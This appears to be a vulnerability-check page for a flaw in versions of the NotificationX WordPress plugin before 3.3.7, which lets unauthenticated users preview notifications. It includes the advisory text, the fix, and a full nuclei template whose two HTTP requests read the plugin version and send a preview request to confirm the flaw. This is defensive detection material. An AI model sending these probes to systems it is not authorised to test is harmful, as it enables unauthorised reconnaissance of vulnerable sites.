NotificationX < 3.3.7 - Unauthenticated Notification Preview

highseverity

0.3%likelihood of exploitation, next 30 days

26%of all CVEs are less likely

Readycheck to confirm it

NotificationX WordPress plugin < 3.3.7 contains an authentication bypass caused by missing capability, authentication, and nonce checks on notification preview path, letting unauthenticated attackers disclose private content and execute arbitrary shortcodes, exploit requires crafted preview data on front-end requests.

Impact

Unauthenticated attackers can disclose private content and execute arbitrary shortcodes, potentially leading to information disclosure and code execution.

Fix

Update to version 3.3.7 or later.

How to confirm it

Send: GET /wp-content/plugins/notificationx/README.txt
Positive when: status_code == 200 and compare_versions(nxversion, "< 3.3.7")
Send: POST /
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, ".notificationx-woo-shortcode-inline-wrapper >")

Run it with nuclei: nuclei -id CVE-2026-119302 -u <target>

The full check

id: CVE-2026-119302

info:
  name: NotificationX < 3.3.7 - Unauthenticated Notification Preview
  author: maulanawirawan
  severity: high
  description: |
    NotificationX WordPress plugin < 3.3.7 contains an authentication bypass caused by missing capability, authentication, and nonce checks on notification preview path, letting unauthenticated attackers disclose private content and execute arbitrary shortcodes, exploit requires crafted preview data on front-end requests.
  impact: |
    Unauthenticated attackers can disclose private content and execute arbitrary shortcodes, potentially leading to information disclosure and code execution.
  remediation: |
    Update to version 3.3.7 or later.
  reference:
    - https://wpscan.com/vulnerability/e0264d07-668c-46f7-acab-0a7b59edb45f/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-119302
    - https://plugins.trac.wordpress.org/changeset?old_path=/notificationx/tags/3.3.6&new_path=/notificationx/tags/3.3.7
    - https://wordpress.org/plugins/notificationx/
  classification:
    cve-id: CVE-2026-119302
    epss-score: 0.00324
    epss-percentile: 0.25814
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 2
    vendor: wpdeveloper
    product: notificationx
    fofa-query: body="/wp-content/plugins/notificationx/"
  tags: cve,cve2026,wp,wordpress,wp-plugin,notificationx,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/notificationx/README.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'compare_versions(nxversion, "< 3.3.7")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nxversion
        group: 1
        internal: true
        regex:
          - '(?i)Stable tag: *([0-9]+\.[0-9]+(?:\.[0-9]+)?)'

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nx-preview=1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, ".notificationx-woo-shortcode-inline-wrapper >")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from